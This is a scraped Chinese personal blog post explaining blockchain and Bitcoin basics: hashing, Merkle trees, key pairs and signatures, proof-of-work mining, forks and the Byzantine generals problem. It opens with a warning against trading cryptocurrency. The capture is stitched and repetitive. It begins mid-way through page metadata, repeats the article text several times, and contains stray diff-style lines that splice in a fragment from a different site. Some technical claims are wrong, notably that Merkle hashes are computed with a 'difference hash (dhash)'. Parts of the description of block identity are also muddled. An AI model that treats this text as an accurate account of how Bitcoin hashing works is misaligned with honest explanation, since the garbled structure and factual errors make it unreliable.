哈希值\n而比特币中有个机制，哈希值要小于某个目标值，因此需要不断修改随机数的值，比特币因为矿工节点越来越多，挖取比特币的难度也会越来越难，难度越难，那么目标值就越小\n交易记录集：收集广播中还没有被记录账本的交易，交易的有效性验证，添加给自己转账的交易（挖矿奖励）\n目前比特币的共识机制：优先选择工作量最大的区块链，最长的区块链，因此矿工会延长计算，已确保自己是工作量是最大最长的\n如果两条链被广播到其他节点，因为网络具有不确定性，有可能某个节点会先收到某个链，在这个链上挖矿，从而导致链出现分叉，如果两个链都同时收到，那么会优先选择工作量最大的区块链，另一个链为备用链保存\n解决分叉：如果当前链的上一级链更长的话，优先选择，而短一点的链会被抛弃\n分叉分为硬分叉和软分叉\n硬分叉：区块链发生永久性改变，在新共识发布后，那些没有更新的节点无法验证已经升级的节点的所产生的区块，改变挖矿难度\n软分叉：区块链发生改变，但是不会像硬分叉那样影响没有更新的节点，旧节点会兼容新节点，但是新节点不兼容旧节点而已\n解决分叉的方法就是所有矿工都遵从同样的机制（升级机制，保证机制为最新），而且那些没有遵从的就会发生分叉\n最经典的例子就是拜占庭将军问题\n主要讲的是：拜占庭帝国去攻击一个敌人，派了10支军队，要将这个敌人打败需要至少6支军队，而且必须在分散包围状态下同时攻击，需要依靠通信兵来进行传递信息，但是不清楚这些通信兵或者将军中是否有叛徒，而这些叛徒可能会传递假消息来导致进攻失败，而拜占庭将军们需要在这种分布式下进行传递消息","keywords":["区块链"],"articleBody":"注意：不推荐去玩比特币以及类似的加密货币，那个玩意说涨就涨，说跌就跌，比特币实质上就是一串数字，没有实物，没有信用背书，当这个巨大泡沫破裂之时，大部分人绝对不可能及时套现跑路，了解比特币下的技术可以，但是绝对不能接触或者玩比特币以及类似的加密货币\n1个比特币相当于100000000聪,聪(Satoshi)是比特币目前最小的单位，是为了纪念比特币的创建者中本聪(Satoshi Nakamoto)\n在中国唯一值得信赖的加密货币是数字人民币，有国家在做信用背书，是有法偿能力的法定货币，和现金等值\n区块链技术诞生于比特币，而比特币的诞生又来源于一位叫中本聪的一篇文章（比特币：一种点对点的电子现金系统）\n区块链的一个特点就是去中心化，中心化指的是数据中心化，例如支付宝和微信，那些支付的数据全部集中在数据库中，确保交易用户的余额一增一减\n而区块链技术就是把数据全部公开，区块链中的每一个节点都可以获得一份完整的区块链，而且全部都是相同的数据，如果篡改了其中一份数据，那么这份数据会和其他节点的数据对比，如果不相同，那么这份数据是不被其他节点承认的\n而需要伪造一个区块链需要拥有超过全网51%的（节点）算力\n区块链是一个个区块组成的有序链表，区块中记录着一系列信息，每个区块都指向前一个区块，每个区块都有一个哈希标识（又被称为区块哈希），区块链的不可篡改的特性就是由哈希算法提供的（哈希是单向的，哈希算法可以将一段数据计算出一个哈希值，而哈希值不能反推出加密前的数据，只能暴力穷举）\n如果两份数据的哈希值相同，那么这两个哈希值的数据就是相同的，只要改动了原始数据任意的数据，那怕只修改一个字节，都会改变哈希值\n常见的哈希算法\nMD5：128位，16字节\nSHA-1：160位，20字节\nSHA-256：256位，32子节\nSHA-512：512位，64子节\nRipeMD160：160位，20子节\n哈希函数：Hash(原始数据) = 摘要数据（哈希值）\n比特币使用的哈希算法有两种，一种是双重SHA-256（将数据进行两次SHA-256计算），另一种就是先将数据进行SHA-256计算，再将处理过的数据再进行一次RipeMD160计算\n区块的头部有一个Merkle Hash字段，记录了该区块的全部交易的哈希树（全部交易的数据通过哈希算法处理为一个汇总的哈希值）\n例如：当一个区块中有好几个交易，然后将一对一对的交易数据做差异哈希算法（dhash），得到两个哈希值，将这两个哈希值拼起来，计算出下一层的哈希值，一层一层计算，最后的得到的哈希值就是Merkle Hash\n那么如果每一层是单数，那么将每一层的最后的一个数据复制一份，最后计算出最终值\n区块本身使用Merkle Hash来表示，而区块本身的哈希值是没有记录在区块头部的，需要通过计算区块头部的数据得到\n区块头部的Prev Hash记录了上一个区块的哈希值（不是Merkle Hash，而是区块本身的哈希值），可以通过Prev Hash来追踪到上一个区块，每个区块的Prev Hash都会指向自己的上一个区块，一直反复下去，一直到区块链的第一个区块（创世区块，该区块没有上一个区块）\n从对Merkle Hash的计算方法和对区块头部来追踪到上一个区块的方法得出，只要篡改其中任意一个交易的数据（哪怕是一字节的改动）都会让Merkle Hash验证失败，那么这个区块就是无效的，只能重新计算Merkle Hash，然后这个区块本身的哈希值就改变，因此下一个区块指向该区块的链接也断了\n篡改一个区块，需要重新计算这个区块的本身的哈希值，然后将下一个的所有区块全部计算并且伪造，才能篡改整个区块链，难度极高，因为区块链是不断增长的，修改的难度也会越来越难，而挖矿实质上就是重新计算区块头部的哈希值，直到于哈希值匹配，挖矿本身的要求就已经很高了，更不用说篡改整个区块链了\n比特币交易中使用了一种名叫点对点交易，就是用户对用户，这个交易的特点就是去中心化，整个交易全部依赖于数学加密\n用到一个叫公钥和私钥，地址的概念，公钥是可以根据私钥计算出来的，而私钥就不能通过公钥计算出来，因此私钥很重要，不能泄露\n地址的计算方法\nHash(Hash(fun(私钥))) = 地址\n而需要不通过泄露私钥的情况下，表明拥有某个私钥，需要用到签名，先将交易信息进行哈希计算，然后签名计算，sign(‘交易信息的哈希值’,‘私钥’)，最后得到一个签名值\n而进行付款时，会向区块链的节点进行广播，广播信息包括，交易信息和签名值，而验证签名信息的确是某个私钥的，验证过程例如：\nverify(‘签名值’,‘付款方地址’)，获得的值为交易的哈希值\nif(verify(‘签名值’,‘付款方地址’) == hash(’{交易信息}’))\n如果当某一个节点验证通过，那么该节点也会进行再一次的广播\n交易信息中没有包含任何个人的信息，因此区块链具有匿名性\n而比特币的交易是根据私钥来验证的，只要不泄露私钥，那么比特币的账户是安全的，私钥破解，私钥的个数有2的256次方，相当于人类可观测宇宙的原子数，根据当前计算机的计算速度，根本不可能碰撞出来，除非倒霉到碰撞第一次就匹配到了\n挖矿：将交易记录，交易的时间，以及序号等等数据进行哈希打包的节点就是矿工节点，而完成哈希打包任务，并且认为其有效的，就会获得比特币奖励\n一段时间内只能一个矿工节点成功记账，并且被证明为有效的，这个时间一般为10分钟，奖励比特币的机制为每4年减半\n而且需要进行POW工作量证明竞争来获得记账权（也就是传说中的挖矿，因为要进行大量的计算，因此挖矿需要大量的算力，竞争该记账权是具有一定随机性的）\n其他节点复制记账结果（也会获得比特币奖励）\nPOW工作量证明\nHash(上一个Hash值,交易记录集,随机数)= 哈希值\n而比特币中有个机制，哈希值要小于某个目标值，因此需要不断修改随机数的值，比特币因为矿工节点越来越多，挖取比特币的难度也会越来越难，难度越难，那么目标值就越小\n交易记录集：收集广播中还没有被记录账本的交易，交易的有效性验证，添加给自己转账的交易（挖矿奖励）\n目前比特币的共识机制：优先选择工作量最大的区块链，最长的区块链，因此矿工会延长计算，已确保自己是工作量是最大最长的\n如果两条链被广播到其他节点，因为网络具有不确定性，有可能某个节点会先收到某个链，在这个链上挖矿，从而导致链出现分叉，如果两个链都同时收到，那么会优先选择工作量最大的区块链，另一个链为备用链保存\n解决分叉：如果当前链的上一级链更长的话，优先选择，而短一点的链会被抛弃\n分叉分为硬分叉和软分叉\n硬分叉：区块链发生永久性改变，在新共识发布后，那些没有更新的节点无法验证已经升级的节点的所产生的区块，改变挖矿难度\n软分叉：区块链发生改变，但是不会像硬分叉那样影响没有更新的节点，旧节点会兼容新节点，但是新节点不兼容旧节点而已\n解决分叉的方法就是所有矿工都遵从同样的机制（升级机制，保证机制为最新），而且那些没有遵从的就会发生分叉\n最经典的例子就是拜占庭将军问题\n主要讲的是：拜占庭帝国去攻击一个敌人，派了10支军队，要将这个敌人打败需要至少6支军队，而且必须在分散包围状态下同时攻击，需要依靠通信兵来进行传递信息，但是不清楚这些通信兵或者将军中是否有叛徒，而这些叛徒可能会传递假消息来导致进攻失败，而拜占庭将军们需要在这种分布式下进行传递消息\n而在区块链中，完美解决这个问题，进行区块链广播需要进行POW工作量证明，而且限制一段时间内只允许一个账号能广播，降低了虚假信息传播的量和成本，而且进行广播需要进行不可伪造的签名（私钥和公钥），每隔一段时间，信息就进行更新，节点进行验证，根本不让虚假信息的传播发送成功得逞，不可逆的哈希算法加密加上信息传递速度的限制，把区块链打造成了一个无需信任的数据信息交互平台\n假如：将军a发送进攻消息给将军b，为了防止信息泄露，使用非对称加密算法将消息进行加密，因为将军b的公钥是公开的，也就可以使用将军b的公钥进行信息加密，而将军b只能使用他的私钥进行解密，因为使用公钥加密的信息，可以通过私钥进行解密，主要是保护信息是完整的，但是依然可以传递虚假的信息给将军b（因为公钥是公开的，谁都可以进行公钥加密），因此，为了证明是将军a发的，还需要在信息上加签名，也就是将私钥加密成一个签名，然后将军b得到这个签名，需要将这个签名和将军a的公钥来验证，来确定发送这个消息的人的身份\n","wordCount":"72","inLanguage":"en","datePublished":"2021-06-16T09:27:00Z","dateModified":"2021-06-16T09:27:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/15/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>简单理解区块链的基本原理</h1><div class=post-meta><span title='2021-06-16 09:27:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/%e7%ae%80%e5%8d%95%e7%90%86%e8%a7%a3%e5%8c%ba%e5%9d%97%e9%93%be%e7%9a%84%e5%9f%ba%e6%9c%ac%e5%8e%9f%e7%90%86.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>注意：不推荐去玩比特币以及类似的加密货币，那个玩意说涨就涨，说跌就跌，比特币实质上就是一串数字，没有实物，没有信用背书，当这个巨大泡沫破裂之时，大部分人绝对不可能及时套现跑路，了解比特币下的技术可以，但是绝对不能接触或者玩比特币以及类似的加密货币</p><p>1个比特币相当于100000000聪,聪(Satoshi)是比特币目前最小的单位，是为了纪念比特币的创建者中本聪(Satoshi Nakamoto)</p><p>在中国唯一值得信赖的加密货币是数字人民币，有国家在做信用背书，是有法偿能力的法定货币，和现金等值</p><p>区块链技术诞生于比特币，而比特币的诞生又来源于一位叫中本聪的一篇文章（比特币：一种点对点的电子现金系统）</p><p>区块链的一个特点就是去中心化，中心化指的是数据中心化，例如支付宝和微信，那些支付的数据全部集中在数据库中，确保交易用户的余额一增一减</p><p>而区块链技术就是把数据全部公开，区块链中的每一个节点都可以获得一份完整的区块链，而且全部都是相同的数据，如果篡改了其中一份数据，那么这份数据会和其他节点的数据对比，如果不相同，那么这份数据是不被其他节点承认的</p><p>而需要伪造一个区块链需要拥有超过全网51%的（节点）算力</p><p>区块链是一个个区块组成的有序链表，区块中记录着一系列信息，每个区块都指向前一个区块，每个区块都有一个哈希标识（又被称为区块哈希），区块链的不可篡改的特性就是由哈希算法提供的（哈希是单向的，哈希算法可以将一段数据计算出一个哈希值，而哈希值不能反推出加密前的数据，只能暴力穷举）</p><p>如果两份数据的哈希值相同，那么这两个哈希值的数据就是相同的，只要改动了原始数据任意的数据，那怕只修改一个字节，都会改变哈希值</p><p>常见的哈希算法</p><p>MD5：128位，16字节</p><p>SHA-1：160位，20字节</p><p>SHA-256：256位，32子节</p><p>SHA-512：512位，64子节</p><p>RipeMD160：160位，20子节</p><p>哈希函数：Hash(原始数据) = 摘要数据（哈希值）</p><p>比特币使用的哈希算法有两种，一种是双重SHA-256（将数据进行两次SHA-256计算），另一种就是先将数据进行SHA-256计算，再将处理过的数据再进行一次RipeMD160计算</p><p>区块的头部有一个Merkle Hash字段，记录了该区块的全部交易的哈希树（全部交易的数据通过哈希算法处理为一个汇总的哈希值）</p><p>例如：当一个区块中有好几个交易，然后将一对一对的交易数据做差异哈希算法（dhash），得到两个哈希值，将这两个哈希值拼起来，计算出下一层的哈希值，一层一层计算，最后的得到的哈希值就是Merkle Hash</p><p>那么如果每一层是单数，那么将每一层的最后的一个数据复制一份，最后计算出最终值</p><p>区块本身使用Merkle Hash来表示，而区块本身的哈希值是没有记录在区块头部的，需要通过计算区块头部的数据得到</p><p>区块头部的Prev Hash记录了上一个区块的哈希值（不是Merkle Hash，而是区块本身的哈希值），可以通过Prev Hash来追踪到上一个区块，每个区块的Prev Hash都会指向自己的上一个区块，一直反复下去，一直到区块链的第一个区块（创世区块，该区块没有上一个区块）</p><p>从对Merkle Hash的计算方法和对区块头部来追踪到上一个区块的方法得出，只要篡改其中任意一个交易的数据（哪怕是一字节的改动）都会让Merkle Hash验证失败，那么这个区块就是无效的，只能重新计算Merkle Hash，然后这个区块本身的哈希值就改变，因此下一个区块指向该区块的链接也断了</p><p>篡改一个区块，需要重新计算这个区块的本身的哈希值，然后将下一个的所有区块全部计算并且伪造，才能篡改整个区块链，难度极高，因为区块链是不断增长的，修改的难度也会越来越难，而挖矿实质上就是重新计算区块头部的哈希值，直到于哈希值匹配，挖矿本身的要求就已经很高了，更不用说篡改整个区块链了</p><p>比特币交易中使用了一种名叫点对点交易，就是用户对用户，这个交易的特点就是去中心化，整个交易全部依赖于数学加密</p><p>用到一个叫公钥和私钥，地址的概念，公钥是可以根据私钥计算出来的，而私钥就不能通过公钥计算出来，因此私钥很重要，不能泄露</p><p>地址的计算方法</p><p>Hash(Hash(fun(私钥))) = 地址</p><p>而需要不通过泄露私钥的情况下，表明拥有某个私钥，需要用到签名，先将交易信息进行哈希计算，然后签名计算，sign(&lsquo;交易信息的哈希值&rsquo;,&lsquo;私钥&rsquo;)，最后得到一个签名值</p><p>而进行付款时，会向区块链的节点进行广播，广播信息包括，交易信息和签名值，而验证签名信息的确是某个私钥的，验证过程例如：</p><p>verify(&lsquo;签名值&rsquo;,&lsquo;付款方地址&rsquo;)，获得的值为交易的哈希值</p><p>if(verify(&lsquo;签名值&rsquo;,&lsquo;付款方地址&rsquo;) == hash(&rsquo;{交易信息}&rsquo;))</p><p>如果当某一个节点验证通过，那么该节点也会进行再一次的广播</p><p>交易信息中没有包含任何个人的信息，因此区块链具有匿名性</p><p>而比特币的交易是根据私钥来验证的，只要不泄露私钥，那么比特币的账户是安全的，私钥破解，私钥的个数有2的256次方，相当于人类可观测宇宙的原子数，根据当前计算机的计算速度，根本不可能碰撞出来，除非倒霉到碰撞第一次就匹配到了</p><p>挖矿：将交易记录，交易的时间，以及序号等等数据进行哈希打包的节点就是矿工节点，而完成哈希打包任务，并且认为其有效的，就会获得比特币奖励</p><p>一段时间内只能一个矿工节点成功记账，并且被证明为有效的，这个时间一般为10分钟，奖励比特币的机制为每4年减半</p><p>而且需要进行POW工作量证明竞争来获得记账权（也就是传说中的挖矿，因为要进行大量的计算，因此挖矿需要大量的算力，竞争该记账权是具有一定随机性的）</p><p>其他节点复制记账结果（也会获得比特币奖励）</p><p>POW工作量证明</p><p>Hash(上一个Hash值,交易记录集,随机数)= 哈希值</p><p>而比特币中有个机制，哈希值要小于某个目标值，因此需要不断修改随机数的值，比特币因为矿工节点越来越多，挖取比特币的难度也会越来越难，难度越难，那么目标值就越小</p><p>交易记录集：收集广播中还没有被记录账本的交易，交易的有效性验证，添加给自己转账的交易（挖矿奖励）</p><p>目前比特币的共识机制：优先选择工作量最大的区块链，最长的区块链，因此矿工会延长计算，已确保自己是工作量是最大最长的</p><p>如果两条链被广播到其他节点，因为网络具有不确定性，有可能某个节点会先收到某个链，在这个链上挖矿，从而导致链出现分叉，如果两个链都同时收到，那么会优先选择工作量最大的区块链，另一个链为备用链保存</p><p>解决分叉：如果当前链的上一级链更长的话，优先选择，而短一点的链会被抛弃</p><p>分叉分为硬分叉和软分叉</p><p>硬分叉：区块链发生永久性改变，在新共识发布后，那些没有更新的节点无法验证已经升级的节点的所产生的区块，改变挖矿难度</p><p>软分叉：区块链发生改变，但是不会像硬分叉那样影响没有更新的节点，旧节点会兼容新节点，但是新节点不兼容旧节点而已</p><p>解决分叉的方法就是所有矿工都遵从同样的机制（升级机制，保证机制为最新），而且那些没有遵从的就会发生分叉</p><p>最经典的例子就是拜占庭将军问题</p><p>主要讲的是：拜占庭帝国去攻击一个敌人，派了10支军队，要将这个敌人打败需要至少6支军队，而且必须在分散包围状态下同时攻击，需要依靠通信兵来进行传递信息，但是不清楚这些通信兵或者将军中是否有叛徒，而这些叛徒可能会传递假消息来导致进攻失败，而拜占庭将军们需要在这种分布式下进行传递消息</p><p>而在区块链中，完美解决这个问题，进行区块链广播需要进行POW工作量证明，而且限制一段时间内只允许一个账号能广播，降低了虚假信息传播的量和成本，而且进行广播需要进行不可伪造的签名（私钥和公钥），每隔一段时间，信息就进行更新，节点进行验证，根本不让虚假信息的传播发送成功得逞，不可逆的哈希算法加密加上信息传递速度的限制，把区块链打造成了一个无需信任的数据信息交互平台</p><p>假如：将军a发送进攻消息给将军b，为了防止信息泄露，使用非对称加密算法将消息进行加密，因为将军b的公钥是公开的，也就可以使用将军b的公钥进行信息加密，而将军b只能使用他的私钥进行解密，因为使用公钥加密的信息，可以通过私钥进行解密，主要是保护信息是完整的，但是依然可以传递虚假的信息给将军b（因为公钥是公开的，谁都可以进行公钥加密），因此，为了证明是将军a发的，还需要在信息上加签名，也就是将私钥加密成一个签名，然后将军b得到这个签名，需要将这个签名和将军a的公钥来验证，来确定发送这个消息的人的身份</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/%E5%8C%BA%E5%9D%97%E9%93%BE/>区块链</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/16/><span class=title>« Prev</span><br><span>JavaScript-IntersectionObserver构造函数笔记</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/14/><span class=title>Next »</span><br><span>JavaScript-XMLHttpRequest对象笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+主要讲的是：拜占庭帝国去攻击一个敌人，派了10支军队，要将这个敌人打败需要至少6支军队，而且必须在分散包围状态下同时攻击，需要依靠通信兵来进行传递信息，但是不清楚这些通信兵或者将军中是否有叛徒，而这些叛徒可能会传递假消息来导致进攻失败，而拜占庭将军们需要在这种分布式下进行传递消息"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"简单理解区块链的基本原理","item":"https://chenjunlinabc.github.io/posts/15/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"简单理解区块链的基本原理","name":"简单理解区块链的基本原理","description":"注意：不推荐去玩比特币以及类似的加密货币，那个玩意说涨就涨，说跌就跌，比特币实质上就是一串数字，没有实物，没有信用背书，当这个巨大泡沫破裂之时，大部分人绝对不可能及时套现跑路，了解比特币下的技术可以，但是绝对不能接触或者玩比特币以及类似的加密货币\n1个比特币相当于100000000聪,聪(Satoshi)是比特币目前最小的单位，是为了纪念比特币的创建者中本聪(Satoshi Nakamoto)\n在中国唯一值得信赖的加密货币是数字人民币，有国家在做信用背书，是有法偿能力的法定货币，和现金等值\n区块链技术诞生于比特币，而比特币的诞生又来源于一位叫中本聪的一篇文章（比特币：一种点对点的电子现金系统）\n区块链的一个特点就是去中心化，中心化指的是数据中心化，例如支付宝和微信，那些支付的数据全部集中在数据库中，确保交易用户的余额一增一减\n而区块链技术就是把数据全部公开，区块链中的每一个节点都可以获得一份完整的区块链，而且全部都是相同的数据，如果篡改了其中一份数据，那么这份数据会和其他节点的数据对比，如果不相同，那么这份数据是不被其他节点承认的\n而需要伪造一个区块链需要拥有超过全网51%的（节点）算力\n区块链是一个个区块组成的有序链表，区块中记录着一系列信息，每个区块都指向前一个区块，每个区块都有一个哈希标识（又被称为区块哈希），区块链的不可篡改的特性就是由哈希算法提供的（哈希是单向的，哈希算法可以将一段数据计算出一个哈希值，而哈希值不能反推出加密前的数据，只能暴力穷举）\n如果两份数据的哈希值相同，那么这两个哈希值的数据就是相同的，只要改动了原始数据任意的数据，那怕只修改一个字节，都会改变哈希值\n常见的哈希算法\nMD5：128位，16字节\nSHA-1：160位，20字节\nSHA-256：256位，32子节\nSHA-512：512位，64子节\nRipeMD160：160位，20子节\n哈希函数：Hash(原始数据) = 摘要数据（哈希值）\n比特币使用的哈希算法有两种，一种是双重SHA-256（将数据进行两次SHA-256计算），另一种就是先将数据进行SHA-256计算，再将处理过的数据再进行一次RipeMD160计算\n区块的头部有一个Merkle Hash字段，记录了该区块的全部交易的哈希树（全部交易的数据通过哈希算法处理为一个汇总的哈希值）\n例如：当一个区块中有好几个交易，然后将一对一对的交易数据做差异哈希算法（dhash），得到两个哈希值，将这两个哈希值拼起来，计算出下一层的哈希值，一层一层计算，最后的得到的哈希值就是Merkle Hash\n那么如果每一层是单数，那么将每一层的最后的一个数据复制一份，最后计算出最终值\n区块本身使用Merkle Hash来表示，而区块本身的哈希值是没有记录在区块头部的，需要通过计算区块头部的数据得到\n区块头部的Prev Hash记录了上一个区块的哈希值（不是Merkle Hash，而是区块本身的哈希值），可以通过Prev Hash来追踪到上一个区块，每个区块的Prev Hash都会指向自己的上一个区块，一直反复下去，一直到区块链的第一个区块（创世区块，该区块没有上一个区块）\n从对Merkle Hash的计算方法和对区块头部来追踪到上一个区块的方法得出，只要篡改其中任意一个交易的数据（哪怕是一字节的改动）都会让Merkle Hash验证失败，那么这个区块就是无效的，只能重新计算Merkle Hash，然后这个区块本身的哈希值就改变，因此下一个区块指向该区块的链接也断了\n篡改一个区块，需要重新计算这个区块的本身的哈希值，然后将下一个的所有区块全部计算并且伪造，才能篡改整个区块链，难度极高，因为区块链是不断增长的，修改的难度也会越来越难，而挖矿实质上就是重新计算区块头部的哈希值，直到于哈希值匹配，挖矿本身的要求就已经很高了，更不用说篡改整个区块链了\n比特币交易中使用了一种名叫点对点交易，就是用户对用户，这个交易的特点就是去中心化，整个交易全部依赖于数学加密\n用到一个叫公钥和私钥，地址的概念，公钥是可以根据私钥计算出来的，而私钥就不能通过公钥计算出来，因此私钥很重要，不能泄露\n地址的计算方法\nHash(Hash(fun(私钥))) = 地址\n而需要不通过泄露私钥的情况下，表明拥有某个私钥，需要用到签名，先将交易信息进行哈希计算，然后签名计算，sign(\u0026lsquo;交易信息的哈希值\u0026rsquo;,\u0026lsquo;私钥\u0026rsquo;)，最后得到一个签名值\n而进行付款时，会向区块链的节点进行广播，广播信息包括，交易信息和签名值，而验证签名信息的确是某个私钥的，验证过程例如：\nverify(\u0026lsquo;签名值\u0026rsquo;,\u0026lsquo;付款方地址\u0026rsquo;)，获得的值为交易的哈希值\nif(verify(\u0026lsquo;签名值\u0026rsquo;,\u0026lsquo;付款方地址\u0026rsquo;) == hash(\u0026rsquo;{交易信息}\u0026rsquo;))\n如果当某一个节点验证通过，那么该节点也会进行再一次的广播\n交易信息中没有包含任何个人的信息，因此区块链具有匿名性\n而比特币的交易是根据私钥来验证的，只要不泄露私钥，那么比特币的账户是安全的，私钥破解，私钥的个数有2的256次方，相当于人类可观测宇宙的原子数，根据当前计算机的计算速度，根本不可能碰撞出来，除非倒霉到碰撞第一次就匹配到了\n挖矿：将交易记录，交易的时间，以及序号等等数据进行哈希打包的节点就是矿工节点，而完成哈希打包任务，并且认为其有效的，就会获得比特币奖励\n一段时间内只能一个矿工节点成功记账，并且被证明为有效的，这个时间一般为10分钟，奖励比特币的机制为每4年减半\n而且需要进行POW工作量证明竞争来获得记账权（也就是传说中的挖矿，因为要进行大量的计算，因此挖矿需要大量的算力，竞争该记账权是具有一定随机性的）\n其他节点复制记账结果（也会获得比特币奖励）\nPOW工作量证明\nHash(上一个Hash值,交易记录集,随机数)= 哈希值\n而比特币中有个机制，哈希值要小于某个目标值，因此需要不断修改随机数的值，比特币因为矿工节点越来越多，挖取比特币的难度也会越来越难，难度越难，那么目标值就越小\n交易记录集：收集广播中还没有被记录账本的交易，交易的有效性验证，添加给自己转账的交易（挖矿奖励）\n目前比特币的共识机制：优先选择工作量最大的区块链，最长的区块链，因此矿工会延长计算，已确保自己是工作量是最大最长的\n如果两条链被广播到其他节点，因为网络具有不确定性，有可能某个节点会先收到某个链，在这个链上挖矿，从而导致链出现分叉，如果两个链都同时收到，那么会优先选择工作量最大的区块链，另一个链为备用链保存\n解决分叉：如果当前链的上一级链更长的话，优先选择，而短一点的链会被抛弃\n分叉分为硬分叉和软分叉\n硬分叉：区块链发生永久性改变，在新共识发布后，那些没有更新的节点无法验证已经升级的节点的所产生的区块，改变挖矿难度\n软分叉：区块链发生改变，但是不会像硬分叉那样影响没有更新的节点，旧节点会兼容新节点，但是新节点不兼容旧节点而已\n解决分叉的方法就是所有矿工都遵从同样的机制（升级机制，保证机制为最新），而且那些没有遵从的就会发生分叉\n最经典的例子就是拜占庭将军问题\n主要讲的是：拜占庭帝国去攻击一个敌人，派了10支军队，要将这个敌人打败需要至少6支军队，而且必须在分散包围状态下同时攻击，需要依靠通信兵来进行传递信息，但是不清楚这些通信兵或者将军中是否有叛徒，而这些叛徒可能会传递假消息来导致进攻失败，而拜占庭将军们需要在这种分布式下进行传递消息","keywords":["区块链"],"articleBody":"注意：不推荐去玩比特币以及类似的加密货币，那个玩意说涨就涨，说跌就跌，比特币实质上就是一串数字，没有实物，没有信用背书，当这个巨大泡沫破裂之时，大部分人绝对不可能及时套现跑路，了解比特币下的技术可以，但是绝对不能接触或者玩比特币以及类似的加密货币\n1个比特币相当于100000000聪,聪(Satoshi)是比特币目前最小的单位，是为了纪念比特币的创建者中本聪(Satoshi Nakamoto)\n在中国唯一值得信赖的加密货币是数字人民币，有国家在做信用背书，是有法偿能力的法定货币，和现金等值\n区块链技术诞生于比特币，而比特币的诞生又来源于一位叫中本聪的一篇文章（比特币：一种点对点的电子现金系统）\n区块链的一个特点就是去中心化，中心化指的是数据中心化，例如支付宝和微信，那些支付的数据全部集中在数据库中，确保交易用户的余额一增一减\n而区块链技术就是把数据全部公开，区块链中的每一个节点都可以获得一份完整的区块链，而且全部都是相同的数据，如果篡改了其中一份数据，那么这份数据会和其他节点的数据对比，如果不相同，那么这份数据是不被其他节点承认的\n而需要伪造一个区块链需要拥有超过全网51%的（节点）算力\n区块链是一个个区块组成的有序链表，区块中记录着一系列信息，每个区块都指向前一个区块，每个区块都有一个哈希标识（又被称为区块哈希），区块链的不可篡改的特性就是由哈希算法提供的（哈希是单向的，哈希算法可以将一段数据计算出一个哈希值，而哈希值不能反推出加密前的数据，只能暴力穷举）\n如果两份数据的哈希值相同，那么这两个哈希值的数据就是相同的，只要改动了原始数据任意的数据，那怕只修改一个字节，都会改变哈希值\n常见的哈希算法\nMD5：128位，16字节\nSHA-1：160位，20字节\nSHA-256：256位，32子节\nSHA-512：512位，64子节\nRipeMD160：160位，20子节\n哈希函数：Hash(原始数据) = 摘要数据（哈希值）\n比特币使用的哈希算法有两种，一种是双重SHA-256（将数据进行两次SHA-256计算），另一种就是先将数据进行SHA-256计算，再将处理过的数据再进行一次RipeMD160计算\n区块的头部有一个Merkle Hash字段，记录了该区块的全部交易的哈希树（全部交易的数据通过哈希算法处理为一个汇总的哈希值）\n例如：当一个区块中有好几个交易，然后将一对一对的交易数据做差异哈希算法（dhash），得到两个哈希值，将这两个哈希值拼起来，计算出下一层的哈希值，一层一层计算，最后的得到的哈希值就是Merkle Hash\n那么如果每一层是单数，那么将每一层的最后的一个数据复制一份，最后计算出最终值\n区块本身使用Merkle 